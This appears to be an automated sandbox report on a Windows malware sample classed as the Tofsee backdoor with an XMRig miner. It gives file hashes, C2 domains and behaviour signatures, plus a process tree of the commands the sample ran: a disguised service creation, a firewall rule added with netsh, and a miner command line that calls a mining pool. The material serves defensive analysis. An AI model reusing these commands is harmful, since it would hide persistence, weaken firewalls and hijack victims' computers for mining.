Overview

overview

10

Static

static

file.exe

windows7-x64

10

file.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-12-2022 07:19

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General

  • Target

    file.exe

  • Size

    306KB

  • MD5

    29dbe2f0a75d863a9009d2d864405a86

  • SHA1

    1ddf7e3f48bc8fe456f468b3469745c80abe524c

  • SHA256

    7f1a402fbd3b09a5907996205922dda81345fd3691cab005bf0e20d34a991800

  • SHA512

    e03a00da3f3380741835ecb5e243328e2bf786f0f44d0717128a1e4822edec27dda647e41b78e2fe6001ac769bf3dd66d58693969487d8548dbcb779670ff586

  • SSDEEP

    6144:sSFwOLTw0rNzr9Ap/7fHX2FIiPfahxq0iPvzpQ6rFiaI:syvw05zr9Apzf33iPKxqxnzpQ6rF

Score
10/10
tofseexmrigevasionminerpersistencetrojan

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
    evasion
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4788
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\aalpokwn\
      2⤵
        PID:3068
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\zyxyzjlo.exe" C:\Windows\SysWOW64\aalpokwn\
        2⤵
          PID:1540
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create aalpokwn binPath= "C:\Windows\SysWOW64\aalpokwn\zyxyzjlo.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3400
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description aalpokwn "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4916
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start aalpokwn
          2⤵
          • Launches sc.exe
          PID:1328
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4036
      • C:\Windows\SysWOW64\aalpokwn\zyxyzjlo.exe
        C:\Windows\SysWOW64\aalpokwn\zyxyzjlo.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4028
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1304
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1544

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\zyxyzjlo.exe
        Filesize

        14.7MB

        MD5

        567adad4e42da82aab0b365fcea7638a

        SHA1

        464a6ce41810787c1e79d08746d4df2928b009bb

        SHA256

        3f6bc726a3a28868c55c9ff07651375cb287421216ba740194cdc8b0666be95c

        SHA512

        bcf7545f40bd60d50e44a47ee16441e8349f59307845c91b8d1a50387fb70445fc042ef97124dc1a2de379c8c85b635c340eeebbd00052a3f26a20938baf4af5

        Download Submit

      • C:\Windows\SysWOW64\aalpokwn\zyxyzjlo.exe
        Filesize

        14.7MB

        MD5

        567adad4e42da82aab0b365fcea7638a

        SHA1

        464a6ce41810787c1e79d08746d4df2928b009bb

        SHA256

        3f6bc726a3a28868c55c9ff07651375cb287421216ba740194cdc8b0666be95c

        SHA512

        bcf7545f40bd60d50e44a47ee16441e8349f59307845c91b8d1a50387fb70445fc042ef97124dc1a2de379c8c85b635c340eeebbd00052a3f26a20938baf4af5

        Download Submit

      • memory/1304-157-0x0000000002580000-0x0000000002586000-memory.dmp

        Filesize

        24KB

        Download

      • memory/1304-166-0x0000000007D00000-0x000000000810B000-memory.dmp

        Filesize

        4.0MB

        Download

      • memory/1304-163-0x00000000025E0000-0x00000000025E5000-memory.dmp

        Filesize

        20KB

        Download

      • memory/1304-152-0x0000000000F10000-0x0000000000F25000-memory.dmp

        Filesize

        84KB

        Download

      • memory/1304-154-0x0000000002E00000-0x000000000300F000-memory.dmp

        Filesize

        2.1MB

        Download

      • memory/1304-147-0x0000000000F10000-0x0000000000F25000-memory.dmp

        Filesize

        84KB

        Download

      • memory/1304-160-0x0000000002590000-0x00000000025A0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/1304-169-0x00000000025F0000-0x00000000025F7000-memory.dmp

        Filesize

        28KB

        Download

      • memory/1544-173-0x0000000000530000-0x0000000000621000-memory.dmp

        Filesize

        964KB

        Download

      • memory/1544-178-0x0000000000530000-0x0000000000621000-memory.dmp

        Filesize

        964KB

        Download

      • memory/4028-179-0x0000000000400000-0x0000000000452000-memory.dmp

        Filesize

        328KB

        Download

      • memory/4028-151-0x0000000000400000-0x0000000000452000-memory.dmp

        Filesize

        328KB

        Download

      • memory/4028-153-0x0000000000400000-0x0000000000452000-memory.dmp

        Filesize

        328KB

        Download

      • memory/4028-150-0x0000000000485000-0x000000000049A000-memory.dmp

        Filesize

        84KB

        Download

      • memory/4788-132-0x0000000000619000-0x000000000062F000-memory.dmp

        Filesize

        88KB

        Download

      • memory/4788-145-0x0000000000400000-0x0000000000452000-memory.dmp

        Filesize

        328KB

        Download

      • memory/4788-144-0x00000000021A0000-0x00000000021B3000-memory.dmp

        Filesize

        76KB

        Download

      • memory/4788-143-0x0000000000619000-0x000000000062F000-memory.dmp

        Filesize

        88KB

        Download

      • memory/4788-133-0x00000000021A0000-0x00000000021B3000-memory.dmp

        Filesize

        76KB

        Download

      • memory/4788-134-0x0000000000400000-0x0000000000452000-memory.dmp

        Filesize

        328KB

        Download